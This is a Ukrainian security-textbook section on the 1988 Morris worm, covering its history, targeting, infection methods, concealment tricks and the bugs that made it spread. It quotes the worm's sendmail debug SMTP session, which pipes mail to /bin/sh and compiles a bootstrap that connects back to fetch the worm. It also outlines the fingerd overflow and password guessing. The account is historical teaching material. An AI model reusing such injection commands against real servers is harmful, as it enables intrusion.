6.4.2. Хробак Морріса

Насамперед розглянемо відомий хробак Морріса або, як його іноді називають, вірус Морріса. Інцидент із хробаком Морріса стався у листопаді 1988 року [64]. На той час Інтернет уже сформувався як глобальна мережа, побудована на прото­колах стека TCP/IP, хоча такого сервісу, як WWW (World Wide Web — Все­світня павутина, глобальна гіпертекстова система чи просто Веб), який наразі є найпоширенішим і з яким переважна більшість користувачів і пов'язує поняття «Інтернет», тоді ще не було. Зараз багато сервісів уже відійшли в минуле, а реш­та зазнали суттєвих змін. Частково це відбулося через більшу універсальність і привабливість веб-мережі, реалізованої за протоколом HTTP. Наприклад, став неактуальним Gopher. А деякі сервіси, номінально доступні й сьогодні, викори­стовують із певними обмеженнями саме через їх недостатню захищеність (Telnet і FTP). Докладніше про це — у розділах 16, 17.

Також слід зазначити, що в тодішньому СРСР ситуація була дещо іншою. Існували окремі глобальні відомчі мережі (найвідоміші з них — автоматизовані системи продажу залізничних і авіаційних квитків), однак єдиної мережі не було. Майже не використовували персональні комп'ютери. Тому відомості про комп'ю­терні віруси, що іноді з'являлися в засобах масової інформації, сприймали як нау­кову фантастику. Щоправда, вірусів для персональних комп'ютерів у всьому світі було дуже мало, фактично інцидент із вірусом (хробаком) Морріса був першим ви­падком, який набув широкого розголосу. Саме він привів до переоцінки рівня до­віри до захищеності комп'ютерних систем, а також став поштовхом для розвитку індустрії антивірусного програмного забезпечення. Хоча в подальшому основними об'єктами для атак вірусів стали персональні комп'ютери, хробак Морріса атакував зовсім не їх, а хости Інтернету (в сучасному розумінні — сервери).

Хробак Морріса — досить складний пакет програм, який реалізував (або на­магався реалізувати) такі функції [15]:

♦ пошук цілей для атаки;

4* проникнення на віддалені цілі;

• завантаження через мережу основного програмного коду, його компіляцію і запуск на виконання;

• сповіщення про зараження чергової машини;

• заходи щодо приховування свого існування;

• перевірку на зараженість локальної та віддалених машин для запобігання по­вторному зараженню.

Руйнівних функцій хробак не мав і, якби не деякі помилки автора програми (Роберта Морріса-молодшого), ймовірно, міг би бути досить довго непоміченим у мережі. Однак помилки, яких автор припустився в алгоритмах перевірки на за­раження машин, призвели до того, що хробак багаторазово заражав комп'ютери, стрімко розмножувався і буквально за одну ніч перенавантажив мережу й окремі хости, аж до відмови в обслуговуванні. Як наслідок, було заражено 6200 хостів, Після виявлення хробака довелося зупинити, протестувати та перезавантажити ще 42 700 хостів. Багато зусиль було докладено до ідентифікації хробака, його ви­далення із заражених машин, здійснення аналізу коду, його дизасемблювання і документування. Прямі витрати від дії хробака становили майже 32 млн доларів США [15]. Щоправда, до прямих витрат віднесли також витрати на внесення ви­правлень в атаковані версії системи UNIX, хоча деякі помилки були спричинені аж ніяк не хробаком Морріса. Це були вже відомі помилки, які давно потрібно було виправити. Тому ці витрати слід було б віднести на розробників систем і не­дбалих адміністраторів, які використовували надто слабкі паролі та дозволяли це робити користувачам. Разом із непрямими витратами, які виникли через невико­ристання машинного часу і відмови користувачам у доступі до систем, загальні витрати становили понад 98 млн доларів США.

Детальний опис хробака Морріса можна знайти у [15] та в Інтернеті, ми наве­демо лише основні відомості щодо реалізації його функцій.

Пошук цілей для атаки

Для здійснення пошуку було передбачено низку процедур:

• сканування таблиці маршрутів і виявлення всіх адрес доступних шлюзів;

• обирання номеру підмережі з-поміж усіх мережних адрес локальної машини (оскільки атаковано було переважно шлюзи, більшість атакованих машин ма­ли кілька мережних інтерфейсів і кілька адрес) з подальшим перебиранням адрес у цих підмережах (за жодної процедури не робилося повного переби­рання; крім того, після першої успішної атаки процедура завершувалася);

• вибирання адрес зі списку з файлу /etc/hosts.equM;V

• вибирання адрес із персональних файлів користувачів .forward; ці адреси було використано для спроб застосувати добрані паролі користувачів.

Проникнення на віддалені цілі

Хробак застосовував кілька стратегій проникнення, використання деяких із них залежало від того, яким чином була отримана адреса цілі. Метою проникнення було виконання на віддаленому комп'ютері команди від імені легального кори­стувача, що давало змогу встановити з'єднання з атакуючим комп'ютером і заван­тажити з нього основний програмний код хробака. Розглянемо ці стратегії.

1. Використання режиму налагодження (debug) у поштовому демоні sendmail.

Фрагмент коду взаємодії хробака Морріса із сервером після встановлення з'єднання з портом 25 (тобто за протоколом SMTP) виглядав приблизно так:

debug

mail from: </dev/null>

rcpt to: <"|sed -e 4,/^A$/'d I /bin/sh ; exit 0"> data

cd /usr/trap

cat > xl4481910.c <'EOF' <текст програми зловмисника> EOF

сс -о ХІ4481910 ХІ4481910.С; ХІ4481910 128.32.134.16 32341 \ 8712440; rm -f ХІ4481910 х14481910.с

quit

Коротко прокоментуємо цей фрагмент. Спочатку активізується режим debug; як відправник поштового повідомлення вказується /dev/null. З міркувань безпеки було б доцільно взагалі не приймати пошту від таких «авторів», проте ніщо не завадить зловмиснику вказати іншого (неіснуючого) відправника. У ро­лі одержувача повідомлення, користуючись режимом debug, задають конвеєр, в якому спочатку текст повідомлення отримує текстовий редактор sed, остан­ньому вказано видалити перші рядки повідомлення, які містять службову ін­формацію поштового протоколу. Оброблений у такий спосіб текст містить ли­ше програмний код (він починається після рядка data). Цей текст передається на виконання командній оболонці /bin/sh. У каталозі /usr/tmp створюється файл х14481910.с, до якого записується вихідний текст програми. Далі йде ко­манда скомпілювати програму під назвою х 14481910. Ця програма призначена для встановлення з'єднання з комп'ютером, з якого її було завантажено (пара­метри з'єднання надсилаються разом із кодом програми), і для завантаження з нього основного коду хробака. Після запуску програми видаляються файл її вихідного коду і скомпільований бінарний код.

2. Використання вразливості в fingerd.

Уразливість виникала через наявність типової помилки переповнення буфера у стеку (див. розділ 5). Хробак пересилав спеціально підготовлений рядок дов­жиною 536 байт, який містив програмний код, і передавав його на виконання. Як наслідок, активізувалася функція execve ("/bin/sh", 0, 0). У такий спосіб на віддаленій машині запускалася командна оболонка, доступна хроба­ку. Цій атаці піддавалися лише комп'ютери VAX (32-розрядні міні-ЕОМ, що випускалися у 1978-1990 роки) під керуванням операційної системи 4.3BSD.

3. Віддалене виконання виклику (гехес).

Для використання гехес необхідно було надіслати віддаленому хосту ім'я ко­ристувача і його незашифрований пароль. Автор хробака виходив із того, що користувачі часто мають однакове ім'я (login) на різних машинах, і тому вико­ристовував імена користувачів локального комп'ютера, які брав із файлу /etc/ passwd разом із зашифрованими паролями (/etc/master.passwd або /etc/shadow тоді ще не використовували) та іншими відомостями про користувача. Паролі добирали у різні нехитрі способи: перевіряли пустий пароль, login (який наби­рали у зворотному порядку або двічі поспіль), реальне ім'я і прізвище користу­вача, а також застосовували авторський словник із 432 слів і системний словник /usr/dict/words, що використовувався в 4.3BSD і деяких інших системах для перевірки орфографії. Послідовність слів у словниках змінювалася, щоб відбу­валося довільне добирання.

• Запуск віддаленого командного інтерпретатора rsh.

Здійснювався з добраним паролем користувача, хоча rsh можна було запусти­ти без пароля за умови, що віддалений хост «довіряє» локальному, тобто ло­кальний хост занесено у файли /etc/hosts.equiv та (або) -/.rhosts на відда­леному хості. Тоді локальний користувач міг виконувати дії на віддаленій машині взагалі без автентифікації, якщо його login на обох машинах однако­вий (і якщо це не суперкористувач).

Завантаження через мережу основного програмного коду

В усіх атаках, після того як основна частина вірусу потрапляла на нову машину, для завантаження із зараженої машини (тієї, з якої відбулося проникнення) вико­ристовувалася спеціальна процедура. Вона запускалася з командного рядка з трьома аргументами. Перший задавав IP-адресу зараженої машини, другий — номер порту для встановлення TCP-з'єднання, а третій — «магічне число», яке було паролем.

Процедура встановлювала з'єднання, параметри якого були задані аргумента­ми командного рядка, відсилала магічне число і перевизначала стандартне вве­дення на канал зв'язку із зараженою машиною. Потім по черзі із зараженої маши­ни пересилалися всі файли, що складали вірус, і замість процедури запускалася командна оболонка sh, яка отримувала команди із зараженої машини.

Сповіщення про зараження чергової машини

У тексті хробака було виявлено спроби надіслати після зараження чергової ма­шини один байт на адресу 128.32.137.13 (ernie.berkeley.edu) на порт 11357. Ма­буть, автор хотів зібрати статистику щодо зараження машин. Ніякої іншої ін­формації, корисної для подальшого здійснення атак на ці системи (наприклад, імена користувачів, добрані паролі тощо), автор не збирав. Однак через помилку у виклику функції жодне повідомлення не було відправлено.

Заходи щодо приховування свого існування

Автор хробака передбачив цілу низку заходів щодо приховування його дій. Ви­конувані програми вірусу передавали аргументи через командний рядок, але піс­ля оброблення аргументів усі вони видалялися, тому командний рядок виклику програми команда ps не показувала. Відразу після запуску видалялися і самі ви­конувані файли. Повідомлення про помилки відключалися. Розмір аварійного дампа встановлювався рівним нулю, тому у випадку аварійного завершення про­грама не залишала слідів. У процесі завантаження коду видалялися всі отримані по мережі файли, якщо під час їх передавання виникали будь-які помилки. Хро­бака було скомпільовано під ім'ям sh, тому навіть адміністратори, які помічали появу нового процесу в системі, не звертали на нього уваги, бо саме командна оболонка sh (Bourne shell або POSIX shell) найчастіше викликається у команд­них файлах.

Під час своєї роботи і процедура завантаження, і основна частина хробака роз­галужувалися на батьківський процес і процес-нащадок. Після вживання заходів щодо втрати зв'язку нащадка з батьківським процесом останній завершувався. Таким чином, у системі для функціонуючого хробака батьківський процес завер­шував своє існування, і можливість відстежити джерело його появи втрачалася. Для нового процесу з нуля починався і облік використаних ресурсів; це знижува­ло імовірність того, що хтось зверне на нього увагу. Усі текстові рядки, які містив файл хробака, було закодовано операцією XOR 81Н, що не давало змоги помі­тити деякі важливі речі, наприклад, які файли відкриває ця програма та які сис­темні виклики робить.

Якби не помилки автора (див. далі), вжиті заходи могли б стати доволі ефек­тивними, і хробак міг би дуже довго залишатися у мережі непоміченим.

Перевірка на зараженість машин для запобігання повторному зараженню

Ідея перевірки полягала в тому, що хробак, який перевіряв наявність інших хро­баків, намагався встановити TCP-з'єднання з портом 23357. Якщо відповіді не було або після встановлення з'єднання в результаті обміну «магічними числами» фіксувалася помилка, хробак вважав, що інших хробаків немає, після чого він створював ТСР-сокет для зв'язку через порт 23357 і більше не намагався пере­вірити наявність інших хробаків. Якщо з'єднання встановлювалося, хробаки об­мінювалися випадковими числами, за парністю суми яких вони визначали, який із них (той, що перевіряв, чи той, що відповідав) має завершити свою роботу.

Саме в цій частині коду автор хробака припустився низки грубих помилок, через які фактична поведінка хробака разюче відрізнялася від очікуваної.

Тайм-аути очікування відповідей було обрано невдало, і тому можна було вва­жати, що зараження машини кількома хробаками протягом 5-20 с відбувалося од­ночасно. Хробаки, що з'являлися на машині, разом намагалися перевірити її на наявність інших хробаків. Якщо до цього машину не було заражено, то всі вони не отримували відповіді та продовжували роботу. Але сокет міг встановити лише один із них, решта ж припиняли спроби зв'язатися з іншими хробаками. Коли до зараження одразу кількома хробаками машину вже було інфіковано, то через не­вдалий алгоритм зв'язку лише один із «нових» хробаків зв'язувався зі «старим», решта ж не могла зв'язатися, так само як і встановити сокет, і спокійно продовжу­вали роботу у режимі мовчання. Отже, на машині з'являлося одразу кілька нових копій хробака. Ці копії діяли відносно незалежно, позаяк дія більшості алгоритмів була випадковою. Різні копії хробака обирали різні цілі для атак, а намагаючись встановити з'єднання, обирали різні паролі. Тому швидкість зараження інших ма­шин була майже пропорційною кількості копій хробака на цій машині.

Зрештою, ще одної дуже грубої помилки автор припустився у процедурі за­вершення виконання хробака у разі виявлення іншої його копії. Усе, що робив хробак, — це встановлення змінної pleasequit, після чого його робота тривала, зокрема, із добирання паролів.

Через ці помилки хробак розповсюджувався надто швидко, багаторазово за­ражав машини і суттєво впливав на їхню продуктивність, тому і був виявлений у першу ж добу своєї активності в Інтернеті.

В історії з хробаком Морріса залишається багато «білих плям», як і в будь-якому гучному інциденті. Ніколи не стануть відомими справжні наміри Роберта Морріса-молодшого. Хоча його творіння не мало руйнівних функцій, він міг їх легко додати. Морріс начебто не збирав критичну інформацію про скомпромето­вані системи, але міг це зробити. Вочевидь, його хробак не був ще доведений до роботоздатного стану і, як це і було оголошено, «вирвався на волю» випадково під час тестування. Якби не це, через деякий час він став би досконалим інстру­ментом розвідки в мережі. Адже відомо, що деякі з 6200 вражених ним хостів, які вважали надійно захищеними, належали спецслужбам або військовим і містили таємну інформацію.

Сам Роберт Морріс-молодший добровільно здався властям, відбувся умовним ув'язненням і порівняно невеликим штрафом, який жодним чином не відповідає завданим його діяльністю збиткам. До речі, хоча Роберт Морріс-старший, батько винуватця, був у США одним із провідних експертів із комп'ютерної безпеки, ін­цидент із вірусом ніяк не вплинув на його кар'єру. З іншого боку, якщо не брати до уваги авральну роботу адміністраторів з усунення наслідків дій хробака, ре­зультат від цього інциденту скоріше позитивний, ніж негативний. Головні момен­ти ми вже зазначили вище. Було переглянуто поточний рівень захищеності хос­тів, а також стратегічні підходи до побудови захищених систем і до підключення критичних систем до Інтернету. Фактично, рівень безпеки багатьох комп'ютер­них систем було радикально підвищено.